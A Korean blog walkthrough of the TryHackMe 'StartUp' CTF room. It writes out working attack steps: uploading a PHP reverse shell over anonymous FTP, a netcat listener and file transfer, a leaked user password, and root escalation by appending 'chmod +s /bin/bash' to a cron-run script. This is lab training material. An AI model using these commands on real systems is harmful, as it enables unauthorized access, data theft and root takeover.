오늘은 StartUp 룸을 풀어 보겠다.
포렌식 하고 웹을 분석을 통해 문제를 해결해야한다.
일단 머신을 deploy를 해보자.
openvpn 연결도 확인한다.
1. 웹으로 접속(http)
일단 openvpn 연결을 하고 웹으로 접속을 하면
이렇게 위처럼 나온다.
딱히 소스에도 볼 만 한것은 없는것 같다.
그러면 구체적으로 분석을 해보자.
2. Nmap
nmap -sC -sV -oN <deploy ip>
위처럼 명령어를 주고 ip를 분석 해보자.
시간이 지나면 결과가 나올 것이다.
이렇게 나오는데, 확인하면 중요 포트는 21(ftp), 22(ssh), 80(http) 이렇게 세가지가 있다.
그리고 ftp는 anonymous로 비밀번호 없이 로그인 가능하다고 분석됐다.
3. gobuster
ftp 접속을 하기전에 사이트의 페이지를 분석하자.
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt
그러면 일단 위의 명령어를 사용해 common.txt를 다운 받자.
그리고 gobuster를 이용하여 Brute Force를 시도해보자.
gobuster dir -u <deploy ip> -w <common.txt 위치>
이렇게 명령어를 주면 분석이 시작된다.
위 사진을 보면 /files가 있다.
들어가니 important.jpg가 있고, notice.txt가 있는데 딱히 중요한 내용은 아닌것 같다.
아마도 files 폴더가 있는거 보니 file upload 취약점이 있는것 같다.
4. ftp
ftp <deploy ip>를 해서 ftp로 접속을 해보자,
그리고 username에 anonymous를 입력한다.
비밀번호 창은 입력할 필요가 없다.(enter)
이렇게 아까 /files와 똑같은 디렉토리 이다.
그러면 ftp로 파일을 업로드해서 exploit을 하면 될것 같다.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
위처럼 php shell을 다운 받고, ip에는 TryHackMe의 IP, 즉 ip addr show tun0 명령어를 했을때 나온 ip로 바꾸고, port는 3000이상인 아무거나 바꿔도 된다. (ex. 1337, 9999, 8888, 5555)
그리고 저장한다.
다시 ftp <deploy ip>를 하고 cd ftp로 들어간 다음
put <reverse shell 위치>
그러면 ftp 파일에 php파일이 들어간걸 확인할 수 있다.
그리고 웹으로 가서 확인해도 똑같이 있다.
그러면 새 터미널로 가서 nc -l <아까 php파일에 쓴 port> 명령어를 준다.
그리고 웹에서 php파일을 실행하면 로딩 표시만 계속되면서 터미널에는 exploit이 성공된다.
그리고 ls -al하면 incidents 디렉토리, recipe.txt가 root가 아니다.
그럼 recipe.txt에 recipe가 있을 것이라고 추정된다.
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.
이런 내용이 있다.
맨 뒤에 love가 재료라고 한다.
그럼 첫번째 질문은 끝났다.
5. pcap
그리고 incidents 파일안에 가면 .pcapng 파일이 있다.
그러면 nc를 이용해서 파일을 가져와야 한다.
exploit된 터미널에서
nc -q 0 -lnvp 25000 < suspicious.pcapng
위 명령어를 먼저 주고
다른 새 터미널을 열고
nc <deploy ip> 25000 > suspicious.pcapng
명령어를 주면 exploit 터미널 말고 다른 터미널에 pcap 파일이 있을 것이다.
그러면 wireshark로 열어보자.
이렇게 나올것이다.
그럼 stactistics 탭에서 conversation으로 들어가보자
그리고 Tcp 부분에서 bytes순으로 나열해보자.
나열하면 13k 제일 큰 파일을 밑에 follow stream을 해보자\
명령어를 준 내용이 보이는 데 밑에 중요한 부분이 있다.
아마도 www-data에서 lennie 계정으로 전환해야 하는데 root 전환하다가 전환을 실수한 부분인 것 같다.
그러면 lennie의 비밀번호를 알아냈다.
lennie : c4ntg3t3n0ughsp1c3
그러면 로그인을 해보자.
그러면 먼저 stablize로 전환해야한다.
python -c "import pty;pty.spawn('/bin/bash')"
위처럼 명령어를 주면 su 명령어 사용이 가능하다.
이제 su lennie를 해서 계정을 전환하자.
명령어를 주고 비밀번호에 c4ntg3t3n0ughsp1c3를 넣으면 로그인이 된다.
그리고 cd /home/lennie로 이동하면 User.txt가 있다.
6. root.txt
다음으로 다른 파일을 살펴보자.
Documents에 힌트는 없는것 같다.
Scripts 파일안에 planner.sh가 있는데, 그걸 cat하면
이렇게 나온다.
/etc/print.sh를 실행하는 걸 확인할 수 있다.
그러면 /etc/print.sh에 /bin/bash에 권한을 주면 Permission denied 오류가 안나고 root로 전환할 수 있을 것이다.
echo "chmod +s /bin/bash" >> /etc/print.sh
위 명령어를 주면 /etc/print.sh에 명령어가 들어갈 것이다.
이제 실행을 해보자,
/etc/print.sh 라고 실행하면
그러면 change permission이라고 뜬다.
그럼 이제 root 전환이 가능하다.
/bin/bash -p
위 명령어를 주면 root로 전환된다.
그리고 cd /root로 가면 root.txt가 있다.
이렇게 StartUp 룸을 끝냈다.
즐감 했으면 공감 누르기(^_-)
'TryHackMe' 카테고리의 다른 글
TryHackMe - inclusion (WriteUp) (0) | 2021.01.17 |
---|---|
TryHackMe - RootMe💻 (0) | 2021.01.16 |
TryHackMe - Ignite🔥 (0) | 2021.01.16 |
TryHackMe - Hydra🐉 (WriteUp) (0) | 2021.01.11 |
TryHackMe - Pickle Rick🥒(WriteUp) (0) | 2021.01.10 |